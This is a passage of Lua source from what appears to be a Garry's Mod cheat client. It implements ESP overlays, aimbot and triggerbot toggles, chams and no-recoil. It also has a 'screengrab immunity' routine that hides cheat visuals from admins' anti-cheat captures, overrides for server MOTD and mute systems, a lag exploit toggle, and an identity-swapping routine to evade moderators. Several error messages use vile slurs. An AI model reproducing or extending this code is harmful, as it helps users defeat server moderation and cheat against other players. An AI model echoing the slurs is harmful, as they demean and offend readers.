  2379. local Width = math.Clamp( LocalPlayer():GetShootPos():Distance( v:GetShootPos() ) /( #MS.Tracked /2 ), 500, 1000 )
  2380. local End
  2381. local InnerCol = MS.Colours.Col
  2382. local OutlineCol = Color( 0, math.Clamp( ( math.cos( CurTime() *5 ) +1 ) /5 *600, 100, 255 ), 0 )
  2383. if( MS.Settings.Visuals.teamcolours ) then
  2384. InnerCol = team.GetColor( v:Team() )
  2385. end
  2386. if( table.HasValue( MS.HighPriority, v ) ) then
  2387. InnerCol = MS.Colours.traitorred
  2388. end
  2389. if( v:GetFriendStatus() != "friend" and ( v:IsAdmin() ) ) then
  2390. OutlineCol = Color( math.Clamp( ( math.cos( CurTime() *5 ) +1 ) /5 *600, 100, 255 ), 0, 0 )
  2391. end
  2392. if( LocalPlayer():GetObserverTarget() ) then
  2393. Width = math.Clamp( LocalPlayer():GetObserverTarget():GetShootPos():Distance( v:GetShootPos() ) /( #MS.Tracked /2 ), 500, 1000 )
  2394. end
  2395. if v:LookupBone( "ValveBiped.Bip01_R_Hand" ) then
  2396. End = v:GetBonePosition( v:LookupBone( "ValveBiped.Bip01_R_Hand" ) )
  2397. else
  2398. End = v:GetShootPos() - Vector( 0, 0, 30 )
  2399. end
  2400.  
  2401. render.SetMaterial( Material( "sprites/lookingat" ) )
  2402. if( v:GetFriendStatus() == "friend" or v:IsAdmin() ) then
  2403. render.DrawBeam( End, MS.Start, Width /160, 1, Width /60, OutlineCol )
  2404. end
  2405. render.DrawBeam( End, MS.Start, Width /200, 1, Width /60, InnerCol )
  2406. end
  2407. end
  2408.  
  2409. if( MS.Settings.Visuals.verticalbeam ) then
  2410. if( !v:GetObserverTarget() and team.GetName( v:Team() ) != "Spectator" ) then
  2411. local Up = util.TraceLine( { start = Origin, endpos = Origin + Vector( 0, 0, 16384 ), filter = { v }, mask = MASK_SHOT } )
  2412. local Down = util.TraceLine( { start = Origin, endpos = Origin - Vector( 0, 0, 16384 ), filter = { v }, mask = MASK_SHOT } )
  2413. local Dist = math.Clamp( v:GetShootPos():Distance( LocalPlayer():GetShootPos() ), 100, 2500 )
  2414. local CutoffPos
  2415. local SpriteDist
  2416. local VertBeamCol = Col
  2417. local V = { Start = Up.HitPos, End = Down.HitPos, Width = Dist /50 }
  2418. local StretchX = Dist/200
  2419. local StretchY = Dist/400
  2420.  
  2421. if( MS.Settings.Visuals.headsmash )then
  2422. if( IsValid( MS.EntityLock ) and IsValid( LocalPlayer():GetActiveWeapon() ) and LocalPlayer():KeyDown( IN_ATTACK ) and LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physgun" ) then
  2423. CutoffPos = Vector( Origin.x, Origin.y, MS.EntityLock:GetPos().z )
  2424. local Halfway = ( MS.EntityLock:GetPos() + CutoffPos )/2
  2425. local Halfway2 = ( Halfway + LocalPlayer():GetShootPos() )/2
  2426. local Dist2 = math.Clamp( Halfway2:Distance( LocalPlayer():GetShootPos() ), 100, 2500 )
  2427. local H = { Start, End = MS.EntityLock:GetPos(), Width = Dist2 /50 }
  2428. H.Start = CutoffPos
  2429. SpriteDist = math.Clamp( CutoffPos:Distance( LocalPlayer():GetShootPos() ), 100, 2500 )
  2430.  
  2431. if( MS.EntityLock:GetPos().z > Origin.z ) then
  2432. V.Start = CutoffPos
  2433. else
  2434. V.End = CutoffPos
  2435. end
  2436. if( IsValid( Up.Entity ) and Up.Entity == MS.EntityLock ) then
  2437. Dist = math.Clamp( Origin:Distance( LocalPlayer():GetShootPos() ) *2, 1, 99999 )
  2438. VertBeamCol = HSVToColor( CurTime() *2750 %360, 1, 1 )
  2439. V.Width = Dist /5
  2440. StretchX = 0
  2441. StretchY = 0
  2442. end
  2443. render.SetMaterial( Material( "sprites/tp_beam001" ) )
  2444. render.DrawBeam( H.Start, H.End, H.Width, StretchX, StretchY, VertBeamCol )
  2445. render.SetMaterial( Material( "sprites/dot" ) )
  2446. render.DrawSprite( CutoffPos, SpriteDist /50, SpriteDist /50, InvertColour( VertBeamCol ), true )
  2447. render.SetMaterial( Material( "Sprites/light_glow02_add_noz" ) )
  2448. render.DrawSprite( CutoffPos, SpriteDist /4, SpriteDist /4, InvertColour( VertBeamCol ), true )
  2449. end
  2450. end
  2451. render.SetMaterial( Material( "sprites/tp_beam001" ) )
  2452. render.DrawBeam( V.Start, V.End, V.Width, StretchX, StretchY, VertBeamCol )
  2453. end
  2454. end
  2455.  
  2456. if( MS.Settings.Visuals.eyetrace and !v:IsBot() ) then
  2457. local Dist = math.Clamp( v:GetShootPos():Distance( LocalPlayer():GetShootPos() ), 100, 1000 )
  2458. local StretchX = Dist/100
  2459. local StretchY = Dist/200
  2460. local EyeTraceStart = Origin
  2461. if( v:LookupBone( "ValveBiped.Bip01_R_Hand" ) ) then
  2462. EyeTraceStart = v:GetBonePosition( v:LookupBone( "ValveBiped.Bip01_R_Hand" ) )
  2463. end
  2464. render.SetMaterial( Material( "sprites/tp_beam001" ) )
  2465. render.DrawBeam( EyeTraceStart, v:GetEyeTrace().HitPos, Dist/50, StretchX, StretchY, Col )
  2466. end
  2467. end
  2468. cam.IgnoreZ( false )
  2469. cam.End3D()
  2470.  
  2471. for k,v in pairs( player.GetAll() ) do
  2472. if( !IsValid( v ) or v == LocalPlayer() or ( MS.Settings.Visuals.savefps and IsOutOfFOV( v ) ) or ( #MS.Isolated >0 and !table.HasValue( MS.Isolated, v ) ) or ( gmod:GetGamemode().Name == "Propkill v2.6" and team.GetName( v:Team() ) == "Spectator" ) or ( gmod.GetGamemode().Name == "Trouble in Terrorist Town" and ( ( team.GetName( v:Team() ) == "Spectators" and team.GetName( LocalPlayer():Team() ) != "Spectators" ) or ( team.GetName( v:Team() ) != "Spectators" and team.GetName( LocalPlayer():Team() ) == "Spectators" ) ) ) ) then continue end
  2473.  
  2474. local Origin = v:GetPos() + Vector( 0, 0, 40 )
  2475. local pos = ( v:GetShootPos() + Vector( 0, 0, LocalPlayer():GetShootPos():Distance( v:GetShootPos() ) /90 ) ):ToScreen()
  2476. if v:Crouching() then
  2477. pos = ( v:GetShootPos() + Vector( 0, 0, LocalPlayer():GetShootPos():Distance( v:GetShootPos() ) /90 +20 ) ):ToScreen()
  2478. end
  2479. local HP = MS.Colours.red
  2480. local Col = MS.Colours.Col
  2481. if( MS.Settings.Visuals.teamcolours ) then
  2482. Col = team.GetColor( v:Team() )
  2483. end
  2484. local Out = InvertColour( Col )
  2485. if( table.HasValue( MS.Traitors, v ) or table.HasValue( MS.HighPriority, v ) ) then
  2486. Col = MS.Colours.black
  2487. Out = MS.Colours.traitorred
  2488. end
  2489.  
  2490. if v:Health() >= 90 then HP = Color( 0, 255, 0, 255 )
  2491. elseif v:Health() >= 80 then HP = Color( 150, 255, 0, 255 )
  2492. elseif v:Health() >= 70 then HP = Color( 190, 255, 0, 255 )
  2493. elseif v:Health() >= 60 then HP = Color( 220, 230, 0, 255 )
  2494. elseif v:Health() >= 50 then HP = Color( 240, 220, 0, 255 )
  2495. elseif v:Health() >= 40 then HP = Color( 255, 190, 0, 255 )
  2496. elseif v:Health() >= 30 then HP = Color( 255, 150, 0, 255 )
  2497. elseif v:Health() >= 20 then HP = Color( 255, 120, 0, 255 )
  2498. elseif v:Health() >= 10 then HP = Color( 255, 100, 0, 255 )
  2499. end
  2500.  
  2501. if( MS.Settings.Visuals.Text.on ) then
  2502.  
  2503. if( DarkRP ) then
  2504. GAMEMODE.Config.showname = false
  2505. GAMEMODE.Config.showhealth = false
  2506. GAMEMODE.Config.showjob = false
  2507. end
  2508.  
  2509. local ESPY = pos.y -25
  2510.  
  2511. if( MS.Settings.Visuals.Text.espvelocity ) then
  2512. local X = pos.x
  2513. local PlyVel = tostring( math.Round( v:GetVelocity():Length() ) )
  2514. if( v:GetVelocity():Length() > 1000 ) then
  2515. PlyVel = tostring( math.Round( v:GetVelocity():Length() /1000, 1 ) ) .. "K"
  2516. end
  2517. if( MS.Settings.Visuals.Text.rank and !MS.Settings.Visuals.Text.distance and v:IsAdmin() ) then
  2518. X = pos.x +( 10 + string.len( PlyVel ) *3.4 )
  2519. end
  2520. draw.SimpleTextOutlined( PlyVel, "ass", X, ESPY+14, Col, 1, 1, 1, Out )
  2521. else
  2522. ESPY = ESPY +14
  2523. end
  2524.  
  2525. if( MS.Settings.Visuals.Text.distance ) then
  2526. local X = pos.x
  2527. local PlyDist = tostring( math.Round( LocalPlayer():GetShootPos():Distance( v:GetShootPos() ) ) )
  2528. if( LocalPlayer():GetShootPos():Distance( v:GetShootPos() ) > 1000 ) then
  2529. PlyDist = tostring( math.Round( LocalPlayer():GetShootPos():Distance( v:GetShootPos() ) /1000, 1 ) ) .. "K"
  2530. end
  2531. if( MS.Settings.Visuals.Text.rank and string.len( v:GetNWString( "UserGroup" ) ) > 0 and v:IsAdmin() ) then
  2532. X = pos.x +10 +( string.len( PlyDist ) *3.4 )
  2533. end
  2534. draw.SimpleTextOutlined( PlyDist, "ass", X, ESPY, Col, 1, 1, 1, Out )
  2535. ESPY = ESPY -14
  2536. end
  2537.  
  2538. if( MS.Settings.Visuals.Text.rank and string.len( v:GetNWString( "UserGroup" ) ) >0 and v:GetNWString( "UserGroup" ) != "user" and v:GetNWString( "UserGroup" ) != "guest" ) then
  2539. draw.SimpleTextOutlined( string.upper( v:GetNWString( "UserGroup" ) ), "ass", pos.x, ESPY, Col, 1, 1, 1, Out )
  2540. if( v:IsAdmin() ) then
  2541. render.SetMaterial( Material( "icon16/emoticon_unhappy.png" ) )
  2542. render.DrawQuad( Vector( pos.x -7, ESPY +4, 0 ), Vector( pos.x +9, ESPY +4, 0 ), Vector( pos.x +9, ESPY +20, 0 ), Vector( pos.x -7, ESPY +20, 0 ) )
  2543. end
  2544. ESPY = ESPY -14
  2545. end
  2546.  
  2547. if( MS.Settings.Visuals.Text.weapon and IsValid( v:GetActiveWeapon() ) and type( v:GetActiveWeapon() ) == "Weapon" ) then
  2548. draw.SimpleTextOutlined( string.upper( v:GetActiveWeapon():GetPrintName() ), "ass", pos.x, ESPY, Col, 1, 1, 1, Out )
  2549. ESPY = ESPY -14
  2550. end
  2551.  
  2552. if( MS.Settings.Visuals.Text.health ) then
  2553. draw.SimpleTextOutlined( v:Health(), "ass", pos.x, ESPY, HP, 1, 1, 1, MS.Colours.black )
  2554. ESPY = ESPY -14
  2555. end
  2556.  
  2557. if( MS.Settings.Visuals.Text.names ) then
  2558. draw.SimpleTextOutlined( string.upper( v:Nick() ), "ass", pos.x, ESPY, Col, 1, 1, 1, Out )
  2559. ESPY = ESPY -14
  2560. end
  2561.  
  2562. if( MS.Settings.Visuals.Text.mingenametags and !v:IsBot() ) then
  2563. for k2, v2 in pairs( SteamIDs ) do
  2564. if( table.HasValue( v2, GetHash( v:SteamID() ) ) and v != LocalPlayer() ) then
  2565. MS.FriendlyMinge = k2
  2566. break
  2567. end
  2568. end
  2569. if( MS.FriendlyMinge ) then
  2570. draw.SimpleTextOutlined( string.upper( MS.FriendlyMinge ), "ass", pos.x, ESPY, MS.Colours.black, 1, 1, 1, Color( 0, math.Clamp( ( math.cos( CurTime() *5 ) +1 ) /2 *400, 150, 255 ), 0 ) )
  2571. render.SetMaterial( Material( "icon16/heart.png" ) )
  2572. render.DrawQuad( Vector( pos.x -4, ESPY -15, 0 ), Vector( pos.x +6, ESPY -15, 0 ), Vector( pos.x +6, ESPY -5, 0 ), Vector( pos.x -4, ESPY -5, 0 ) )
  2573. end
  2574. MS.FriendlyMinge = nil
  2575. end
  2576. end
  2577. end
  2578.  
  2579. if( MS.Settings.Visuals.crosshair ) then
  2580. surface.SetDrawColor( MS.Colours.CrosshairCol.r, MS.Colours.CrosshairCol.g, MS.Colours.CrosshairCol.b )
  2581. surface.DrawLine( MS.CHOutterPos1.x, MS.CHOutterPos1.y, MS.CHOutterPos2.x, MS.CHOutterPos2.y )
  2582. surface.DrawLine( MS.CHOutterPos3.x, MS.CHOutterPos3.y, MS.CHOutterPos4.x, MS.CHOutterPos4.y )
  2583. surface.DrawLine( MS.CHOutterPos5.x, MS.CHOutterPos5.y, MS.CHOutterPos6.x, MS.CHOutterPos6.y )
  2584. surface.DrawLine( MS.CHOutterPos7.x, MS.CHOutterPos7.y, MS.CHOutterPos8.x, MS.CHOutterPos8.y )
  2585. surface.DrawLine( MS.CHMidPos1.x, MS.CHMidPos1.y, MS.CHMidPos2.x, MS.CHMidPos2.y )
  2586. surface.DrawLine( MS.CHMidPos3.x, MS.CHMidPos3.y, MS.CHMidPos4.x, MS.CHMidPos4.y )
  2587. surface.DrawLine( MS.CHMidPos5.x, MS.CHMidPos5.y, MS.CHMidPos6.x, MS.CHMidPos6.y )
  2588. surface.DrawLine( MS.CHMidPos7.x, MS.CHMidPos7.y, MS.CHMidPos8.x, MS.CHMidPos8.y )
  2589. surface.DrawLine( MS.CHInnerPos1.x, MS.CHInnerPos1.y, MS.CHInnerPos2.x, MS.CHInnerPos2.y )
  2590. surface.DrawLine( MS.CHInnerPos3.x, MS.CHInnerPos3.y, MS.CHInnerPos4.x, MS.CHInnerPos4.y )
  2591. surface.DrawLine( MS.CHInnerPos5.x, MS.CHInnerPos5.y, MS.CHInnerPos6.x, MS.CHInnerPos6.y )
  2592. surface.DrawLine( MS.CHInnerPos7.x, MS.CHInnerPos7.y, MS.CHInnerPos8.x, MS.CHInnerPos8.y )
  2593. end
  2594. end
  2595. HKA( "PostDrawHUD", "RenderOrder", RenderOrder )
  2596.  
  2597. local function PropChams()
  2598. if( MS.ScreenGrab or !MS.Settings.Visuals.propchams ) then return end
  2599. MS.ChamTable = {}
  2600. for k,v in pairs( MS.PropChamClasses ) do
  2601. table.Add( MS.ChamTable, ents.FindByClass( v ) )
  2602. end
  2603. cam.Start3D()
  2604. cam.IgnoreZ( true )
  2605. render.MaterialOverride( MS.WhiteMaterial )
  2606. render.SetBlend( MS.Settings.Visuals.PropA /100 )
  2607.  
  2608. for k,v in pairs( MS.ChamTable ) do
  2609. if( !IsValid( v ) or MS.Settings.Visuals.savefps and IsOutOfFOV( v ) ) then continue end
  2610. local Col = MS.Colours.PropChamsColour
  2611.  
  2612. if( MS.Settings.Visuals.checktidesgate and table.HasValue( MS.DangerProps, v:GetModel() ) ) then
  2613. local Blocked = util.TraceLine( { start = LocalPlayer():GetShootPos(), endpos = v:GetPos(), filter = { LocalPlayer(), v }, mask = MASK_SHOT } )
  2614. if( !Blocked.Hit and v != MS.EntityLock ) then
  2615. Col = Color( math.Clamp( ( math.cos( CurTime() *50 ) +1 ) /2 *600, 0, 255 ), 0, 0 )
  2616. end
  2617. end
  2618. render.SetColorModulation( Col.r /255, Col.g /255, Col.b /255 )
  2619.  
  2620. if( !v:GetNoDraw() or !v.NoDraw ) then
  2621. v:SetNoDraw( true )
  2622. MS.SetNoVis = true
  2623. end
  2624.  
  2625. v:DrawModel()
  2626. end
  2627. cam.IgnoreZ( false )
  2628. cam.End3D()
  2629. end
  2630. HKA( "PreDrawHUD", "PropChams", PropChams )
  2631.  
  2632. CCA( "+ms_aim", function()
  2633. MS.Settings.Aimbot.enabled = true
  2634. MS.UpdateSilentAngle = true
  2635. end )
  2636.  
  2637. CCA( "-ms_aim", function()
  2638. MS.Settings.Aimbot.enabled = false
  2639. if( MS.Settings.Aimbot.silent and GetSuitableTarget() ) then
  2640. LocalPlayer():SetEyeAngles( MS.SilentAimAngle )
  2641. end
  2642. MS.NextSnap = 0
  2643. MS.UpdateSilentAngle = false
  2644. MS.SnapBack = false
  2645. MS.TargetPly = nil
  2646. end )
  2647.  
  2648. CCA( "+ms_triggerbot", function() MS.Settings.TriggerBot.enabled = true end )
  2649. CCA( "-ms_triggerbot", function() MS.Settings.TriggerBot.enabled = false MS.IsFiring = false end )
  2650.  
  2651. CCA( "ms_propchams", function()
  2652. MS.Settings.Visuals.propchams = !MS.Settings.Visuals.propchams
  2653. if( MS.Settings.Visuals.propchams ) then
  2654. RCC( "play", "buttons/combine_button3.wav" )
  2655. MS.SetNoVis = true
  2656. else
  2657. RCC( "play", "buttons/combine_button2.wav" )
  2658. MS.ResetVis = true
  2659. end
  2660. end )
  2661.  
  2662. CCA( "ms_playerchams", function()
  2663. MS.Settings.Visuals.playerchams = !MS.Settings.Visuals.playerchams
  2664. if( MS.Settings.Visuals.playerchams ) then
  2665. RCC( "play", "buttons/combine_button3.wav" )
  2666. else
  2667. RCC( "play", "buttons/combine_button2.wav" )
  2668. end
  2669. end )
  2670.  
  2671. CCA( "ms_who", function()
  2672. MSMsg( "MS WHO" )
  2673. for k,v in pairs( player.GetAll() ) do
  2674. if v:IsBot() then continue end
  2675. if( DarkRP ) then
  2676. steamworks.RequestPlayerInfo( v:SteamID64() )
  2677. timer.Simple( 0.5, function()
  2678. MSMsg( v:Nick() .. string.rep( ".", 30 -string.len( v:Nick() ) ) .. steamworks.GetPlayerName( v:SteamID64() ) .. string.rep( ".", 33 -string.len( steamworks.GetPlayerName( v:SteamID64() ) ) ) .. v:GetNWString( "UserGroup" ) .. string.rep( ".", 12 -string.len( v:GetNWString( "UserGroup" ) ) ) .. v:SteamID() )
  2679. end )
  2680. else
  2681. MSMsg( v:Nick() .. string.rep( ".", 30 -string.len( v:Nick() ) ) .. v:GetNWString( "UserGroup" ) .. string.rep( ".", 12 -string.len( v:GetNWString( "UserGroup" ) ) ) .. v:SteamID() )
  2682. end
  2683. end
  2684. end )
  2685.  
  2686. local function WepColours()
  2687. MSMsg( "MS WEPCOLOURS" )
  2688. for k,v in pairs( player.GetAll() ) do
  2689. MSMsg( v:Nick() .. string.rep( ".", 33 -string.len( v:Nick() ) ) .. tostring( v:GetWeaponColor() ) )
  2690. end
  2691. end
  2692. CCA( "ms_wepcolours", WepColours )
  2693.  
  2694. //detour
  2695. function RunConsoleCommand( ... )
  2696. return RCC( ... )
  2697. end
  2698.  
  2699. //innocentroleplayer
  2700. local function IdentityChanger()
  2701. if( !DarkRP ) then MSError( "THIS FEATURE REQUIRES DARKRP YOU ABORTION SURVIVOR." ) return end
  2702. MS.RPJobs = {}
  2703.  
  2704. if( ConVarExists( "ms_setingamename" ) )then
  2705. RCC( "ms_setingamename", table.Random( MS.UserNames ) )
  2706. end
  2707. if( math.Round( math.random( 1, 5 ) ) == 1 ) then
  2708. RCC( "play", "bot/i_dont_know_where_he_went.wav" )
  2709. timer.Simple( 0.9, function() RCC( "play", "bot/anyone_see_anything.wav" ) end )
  2710. end
  2711. for k,v in pairs( RPExtraTeams ) do
  2712. if( v.vote != false or v.admin != 0 or v.NeedToChangeFrom != nil or v.customCheck != nil or v.CustomCheckFailMsg != nil or v.label != nil or v.jobType != nil or v.RequiresVote != nil or LocalPlayer():Team() == k or ( team.NumPlayers( v.team ) >= v.max and v.max != 0 ) ) then continue end
  2713. table.insert( MS.RPJobs, v )
  2714. end
  2715.  
  2716. if( #MS.RPJobs < 2 ) then MSError( "NO VALID JOBS AVAILABLE" ) return end
  2717.  
  2718. while( MS.NewJob == MS.LastJob ) do
  2719. MS.Job2 = table.Random( MS.RPJobs )
  2720. MS.NewJob = MS.Job2.command
  2721. end
  2722. LogMsg( "CHANGING JOB FROM " .. team.GetName( LocalPlayer():Team() ) .. " TO " .. MS.Job2.name )
  2723. while( MS.LastFirstName == MS.NewFirstName ) do
  2724. MS.NewFirstName = table.Random( MS.FirstNames )
  2725. end
  2726. while( MS.LastSurname == MS.NewSurname ) do
  2727. MS.NewSurname = table.Random( MS.Surnames )
  2728. end
  2729. LogMsg( "CHANGING NAME FROM " .. LocalPlayer():Nick() .. " TO " .. MS.NewFirstName .. " " .. MS.NewSurname )
  2730.  
  2731. if( ( LocalPlayer():Health() >0 and IsValid( LocalPlayer():GetActiveWeapon() ) ) and !table.HasValue( MS.IgnoreDropWeps, LocalPlayer():GetActiveWeapon():GetClass() ) ) then
  2732. if!( LocalPlayer():KeyDown( IN_ATTACK ) and LocalPlayer():KeyDown( IN_ATTACK2 ) ) then
  2733. RCC( "darkrp", "drop" )
  2734. end
  2735. timer.Simple( 1, function()
  2736. if!( LocalPlayer():KeyDown( IN_ATTACK ) and LocalPlayer():KeyDown( IN_ATTACK2 ) ) then
  2737. RCC( "darkrp", MS.NewJob )
  2738. end
  2739. RCC( "darkrp", "name", MS.NewFirstName .. " " .. MS.NewSurname )
  2740. end )
  2741. else
  2742. if!( LocalPlayer():KeyDown( IN_ATTACK ) and LocalPlayer():KeyDown( IN_ATTACK2 ) ) then
  2743. RCC( "darkrp", MS.NewJob )
  2744. end
  2745. RCC( "darkrp", "name", MS.NewFirstName .. " " .. MS.NewSurname )
  2746. end
  2747. MS.LastFirstName = MS.NewFirstName
  2748. MS.LastSurname = MS.NewSurname
  2749. MS.LastJob = MS.NewJob
  2750. end
  2751. CCA( "ms_innocentroleplayer", IdentityChanger )
  2752.  
  2753. //bunnyhop
  2754. local function MSBhop()
  2755. MS.Hopping = true
  2756. end
  2757. local function MSBstop()
  2758. RCC( "-jump" )
  2759. MS.Hopping = false
  2760. end
  2761. CCA( "+ms_bhop", MSBhop )
  2762. CCA( "-ms_bhop", MSBstop )
  2763.  
  2764. //screengrab immunity
  2765. net.Receive( "screengrab_start", function()
  2766. RCC( "play", "vo/heavy_generic01.wav" )
  2767. MS.ScreenGrab = true
  2768. timer.Simple( 1, function()
  2769. local qual = net.ReadInt( 32 )
  2770. local info = {
  2771. format = "jpeg",
  2772. h = ScrH(),
  2773. w = ScrW(),
  2774. quality = qual,
  2775. x = 0,
  2776. y = 0
  2777. }
  2778. local frags = math.ceil( string.len( util.Base64Encode( render.Capture( info ) ) ) / 20000 )
  2779. for i = 1, frags do
  2780. local start = ( i * 20000 ) - 20000 + 1
  2781. local stop = ( i * 20000 )
  2782.  
  2783. if stop > string.len( util.Base64Encode( render.Capture( info ) ) ) then
  2784. stop = string.len( util.Base64Encode( render.Capture( info ) ) )
  2785. end
  2786. SCRG.DATA[i] = string.sub( util.Base64Encode( render.Capture( info ) ), start, stop )
  2787. end
  2788. net.Start( "screengrab_start" )
  2789. net.WriteUInt( frags, 32 )
  2790. net.SendToServer()
  2791. end )
  2792. end )
  2793. net.Receive( "screengrab_part", function()
  2794. timer.Simple( 1, function()
  2795. local nextsend = SCRG.DATA[ SCRG.UPTO ]
  2796. nextsend = util.Compress( nextsend )
  2797. net.Start( "screengrab_part" )
  2798. net.WriteUInt( string.len( nextsend ), 32 )
  2799. net.WriteData( nextsend, string.len( nextsend ) )
  2800. net.SendToServer()
  2801. if SCRG.UPTO == #SCRG.DATA then
  2802. SCRG.UPTO = 1
  2803. SCRG.DATA = {}
  2804. MS.ScreenGrab = false
  2805. return
  2806. end
  2807. SCRG.UPTO = SCRG.UPTO + 1
  2808. end )
  2809. end )
  2810.  
  2811. //Anubis's Lagsploit
  2812. local function ToggleLagsploit()
  2813. if( !DarkRP ) then MSError( "THIS FEATURE REQUIRES DARKRP YOU BABY TOUCHER" ) return end
  2814. MS.Lagsploiting = !MS.Lagsploiting
  2815. EnabledDisabled( "LAGSPLOIT", MS.Lagsploiting )
  2816. end
  2817. CCA( "ms_lagsploit", ToggleLagsploit )
  2818.  
  2819. //evolve mute killer
  2820. local OConCommand = FindMetaTable( "Player" ).ConCommand
  2821. FindMetaTable( "Player" ).ConCommand = function( cmd )
  2822. if( type( cmd ) == "string" and string.find( string.lower( cmd ), "-voicerecord" ) ) then return end
  2823. end
  2824. RunConsoleCommand = function( ... )
  2825. if( ... == "-voicerecord" ) then return end
  2826. return RCC( ... )
  2827. end
  2828.  
  2829. //no recoil
  2830. if( MS.Settings.Aimbot.norecoil ) then
  2831. local OEyeAngles = FindMetaTable( "Player" ).SetEyeAngles
  2832. FindMetaTable( "Player" ).SetEyeAngles = function( self, angle )
  2833. if( string.find( string.lower( debug.getinfo( 2 ).short_src ), "/weapons/" ) ) then return end
  2834. OEyeAngles( self, angle )
  2835. end
  2836. end
  2837.  
  2838. //magical physgun colours
  2839. local function initiatePhysgunOverride()
  2840. matproxy.Add(
  2841. {
  2842. name = "PlayerWeaponColor",
  2843. init = function( self, mat, values )
  2844. self.ResultTo = values.resultvar
  2845. end,
  2846.  
  2847. bind = function( self, mat, ent )
  2848. if( !IsValid( ent ) ) then return end
  2849. if( !IsValid( ent:GetOwner() ) or !ent:GetOwner():IsPlayer() ) then return end
  2850.  
  2851. if( MS.Settings.Visuals.overridephysgun and ent:GetOwner() == LocalPlayer() ) then
  2852. if( MS.Settings.Visuals.haloselection == 1 )then --team colour
  2853. MS.PhysOverrideCol = Vector( team.GetColor( LocalPlayer():Team() ).r /255, team.GetColor( LocalPlayer():Team() ).g /255, team.GetColor( LocalPlayer():Team() ).b /255 )
  2854. elseif( MS.Settings.Visuals.haloselection == 2 )then --health
  2855. MS.PhysOverrideCol = Vector( ( math.Clamp( LocalPlayer():Health()/100, 0, 1 )*-1 )+1, math.Clamp( LocalPlayer():Health()/100, 0, 1 ), 0 )
  2856. elseif( MS.Settings.Visuals.haloselection == 3 )then -- custom
  2857. MS.PhysOverrideCol = Vector( MS.Settings.Visuals.CustomR/255, MS.Settings.Visuals.CustomG/255, MS.Settings.Visuals.CustomB/255 )
  2858. elseif( MS.Settings.Visuals.haloselection == 4 )then -- RAINBOW
  2859. MS.PhysOverrideCol = Vector( HSVToColor( CurTime() *MS.Settings.Visuals.rainbowmult*10 %360, 1, 1 ).r / 255, HSVToColor( CurTime() *MS.Settings.Visuals.rainbowmult*10 %360, 1, 1 ).g / 255, HSVToColor( CurTime() *MS.Settings.Visuals.rainbowmult*10 %360, 1, 1 ).b / 255 )
  2860. else -- incase of fuckup, go blue
  2861. MS.PhysOverrideCol = Vector( 0, 0, 1 )
  2862. end
  2863. MS.PhysOverrideMul = ( 1 + math.sin( CurTime() * 5 ) )*0.5
  2864. else
  2865. MS.PhysOverrideCol = ent:GetOwner():GetWeaponColor();
  2866. if( !isvector( MS.PhysOverrideCol ) ) then return end
  2867. MS.PhysOverrideMul = ( 1 + math.sin( CurTime() * 2 ) ) * 0.5
  2868. end
  2869.  
  2870. mat:SetVector( self.ResultTo, MS.PhysOverrideCol + MS.PhysOverrideCol * MS.PhysOverrideMul );
  2871. end
  2872. }
  2873. )
  2874. end
  2875.  
  2876. // shit to run on load
  2877. local function ShitToRunOnLoad()
  2878. RCC( "M9KGasEffect", 0 )
  2879. RCC( "cl_updaterate", 1000 )
  2880. RCC( "cl_cmdrate", 0 )
  2881. RCC( "cl_interp", 0 )
  2882. RCC( "cl_interp_ratio", 1 )
  2883. RCC( "rate", 1048576 )
  2884. RCC( "cl_drawspawneffect", 0 )
  2885. HKR( "Think", "AutoPropScroll" )
  2886. if( MS.Settings.Visuals.addwire ) then
  2887. table.insert( MS.PropChamClasses, "gmod_wire*" )
  2888. end
  2889. if( MS.Settings.Visuals.nosky ) then
  2890. HKA( "PreDrawSkyBox", "removeSkybox", function() render.Clear( math.abs( math.cos( CurTime() /10 ) *100 ), math.abs( math.cos( CurTime() /10 ) *100 ), math.abs( math.cos( CurTime()/10 ) *100 ), 255 ) return true end )
  2891. end
  2892. if( MS.Settings.Aimbot.noshake ) then
  2893. HKA( "CalcView", "NoShake", NoShake )
  2894. end
  2895. if( ulx ) then
  2896. function ulx.showMotdMenu() MSError( "ULX MOTD DESTROYED" ) return end
  2897. end
  2898. if( MODERN != nil ) then
  2899. function MODERN.OpenMOTD() return end
  2900. end
  2901. net.Receive( "sBlockGMSpawn", function()
  2902. hook.Remove( "PlayerBindPress", "_sBlockGMSpawn" )
  2903. end )
  2904. net.Receive( "open_menu", function()
  2905. MSError( "GARBAGE MOTD DESTROYED" )
  2906. end )
  2907. net.Receive( "closebutton_repeat", function() end )
  2908. HKR( "CalcView", "rp_deathPOV" )
  2909. initiatePhysgunOverride()
  2910. end
  2911. ShitToRunOnLoad()
  2912.  
  2913. //for load priority
  2914. HKA( "PostGamemodeLoaded", "ShitForLoadPriotity", function()
  2915. ShitToRunOnLoad()
  2916. end )
  2917.  
  2918. //various concommands
  2919. CCA( "buttonglass1", function()
  2920. RCC( "button_model", "models/props/cs_militia/gun_cabinet_glass.mdl" )
  2921. end )
  2922. CCA( "buttonglass2", function()
  2923. RCC( "button_model", "models/props_c17/tv_monitor01_screen.mdl" )
  2924. end )
  2925. CCA( "buttonglass3", function()
  2926. RCC( "button_model", "models/props_wasteland/light_spotlight02_base.mdl" )
  2927. end )
  2928. CCA( "buttonglass4", function()
  2929. RCC( "button_model", "models/props/cs_militia/reload_bullet_tray.mdl" )
  2930. end )
  2931. CCA( "buttonglass5", function()
  2932. RCC( "button_model", "models/mechanics/various/211.mdl" )
  2933. end )
  2934. CCA( "buttonlag", function()
  2935. RCC( "button_model", "models/props_phx/misc/potato_launcher_chamber.mdl" )
  2936. end )
  2937. CCA( "buttonstove", function()
  2938. RCC( "button_model", "models/props/cs_militia/stove01.mdl" )
  2939. end )
  2940. CCA( "getinfo", function()
  2941. MSMsg( "MODEL - " .. LocalPlayer():GetEyeTrace().Entity:GetModel() )
  2942. MSMsg( "CLASS - " .. LocalPlayer():GetEyeTrace().Entity:GetClass() )
  2943. end )
  2944. CCA( "wepclass", function()
  2945. MSMsg( LocalPlayer():GetActiveWeapon():GetClass() )
  2946. end )
  2947. CCA( "ms_jobinfo", function()
  2948. if( !DarkRP ) then
  2949. MSError( "THIS FEATURE REQUIRES DARKRP YOU BABY RAPIST." )
  2950. return
  2951. end
  2952. for k,v in pairs( RPExtraTeams ) do
  2953. MSMsg( "_____________________________________________________________________________________" )
  2954. PrintTable( v )
  2955. end
  2956. end )
  2957. CCA( "+ms_torchspam", function() MS.TorchSpamming = true end )
  2958. CCA( "-ms_torchspam", function() MS.TorchSpamming = false end )
  2959.  
  2960. //ropenado
  2961. CCA( "+ms_ropenado", function( _, _, args )
